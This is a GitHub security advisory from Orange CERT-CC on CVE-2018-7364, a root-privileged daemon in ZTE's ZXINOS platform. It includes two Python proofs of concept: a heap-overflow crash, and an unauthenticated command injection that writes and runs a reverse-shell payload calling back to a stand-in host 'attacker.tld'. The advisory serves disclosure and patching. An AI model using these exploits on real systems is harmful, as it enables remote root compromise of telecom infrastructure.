Skip to content

ZTE - ZXIN10 (CVE-2018-7364)

High
orange-cert-cc published GHSA-34f2-7h57-rg7p Jan 24, 2023

Package

ZXINOS (ZTE)

Affected versions

<1.01.44

Patched versions

1.01.44

Description

Overview

Several nodes on ZTE IN SCP 7.3 platform to run a vulnerable root-privileged daemon have been found.
Commands are XML based, converted in Base64, and prefixed by a magic + length value on 8 bytes.
It is vulnerable to arbitrary code execution via injection, and may be vulnerable to heap overflow as well as stack overflow.
This vulnerability may also be used to elevate privileges, as zxagent always authorizes connection done via the loopback.
It is also important to note that other vulnerabilities might affect devcomm.
Features include:

  • socks proxying
  • password manipulation, and running commands under any local account
  • MML command execution

Impact

An attacker with network access may gain arbitrary code execution, pivot to otherwise inaccessible systems or cause a denial of service.

Details

The daemon is called devcomm, and is typically present in /home/zxagent/bin.
When started, it binds to 0.0.0.0:9098, allowing network attackers to access it from any connected network.

Proof of Concept

Two proof of concepts are given here:

  • heap overflow, which crashes devcomm. it might be turned into RCE with some more work:
#!/usr/bin/env python2

from socket import socket, AF_INET, SOCK_STREAM
from binascii import unhexlify, hexlify
from base64 import b64decode, b64encode
from struct import pack, unpack


TARGET = '127.0.0.1'
PORT = 9098


sock = socket(AF_INET, SOCK_STREAM)
sock.connect((TARGET, PORT))

sock.sendall('~_-!' + pack('!I', 12) + 'X'*256)

data = sock.recv(4096)
print('%r' % data)
print('%r' % b64decode(data[8:]))

sock.close()
  • unauthentified remote root arbitrary code execution. This one gives a reverse shell:
#!/usr/bin/env python2

from socket import socket, AF_INET, SOCK_STREAM
from binascii import unhexlify, hexlify
from base64 import b64decode, b64encode
from struct import pack, unpack
from xml.sax.saxutils import escape
from random import choice

TARGET = '127.0.0.1'
PORT = 9098
ATTACKER = 'attacker.tld'

CMD = "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((ATTACKER,8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh']);"

def packup(data):
  print('> sending %r' % data)
  b64 = b64encode(data)
  return '~_-!' + pack('!I', len(b64)) + b64

def remote_execute(cmd):
  sock = socket(AF_INET, SOCK_STREAM)
  sock.connect((TARGET, PORT))

  sock.sendall(packup('''<ZXAGENT><COMMAND name="zxagent_checkproc">
<USER>super</USER>
<OPERUSER>root</OPERUSER>
<DEVPASSWD>useless</DEVPASSWD>
<SERVERLOG>xxx</SERVERLOG>
<TIMEOUT>1000</TIMEOUT>
<PROCNAME>; ''' + escape(cmd) + '''</PROCNAME>
</COMMAND></ZXAGENT>'''))

  data = sock.recv(1024)

  sock.close()


# due to size constraint, we will create a bash
# chunk by chunk
# and then execute it to get a reverse shell

def rand_file(n=5):
  name = ''
  for i in range(n):
    c = choice('abcdefhijklmnopqrstuvwxyz')
    name += c
  return name

f = '/tmp/%s' % rand_file()

for offset in range(0, len(CMD), 8):
  chunk = CMD[offset:offset+8]
  print('appending %r' % chunk)
  assert('"' not in chunk)
  remote_execute('echo -n "%s" >> %s' % (chunk, f))

remote_execute('python %s' % f)

Solution

Security patch

Upgrade to ZXINOS-RESV1.01.44

References

https://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1009943
https://nvd.nist.gov/vuln/detail/CVE-2018-7364

Credits

Orange CERT-CC
Guillaume TESSIER at Orange group

Timeline

Date reported: February 9, 2018
Date fixed: December 7, 2018

Severity

High
8.4
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

CVE ID

CVE-2018-7364

Weaknesses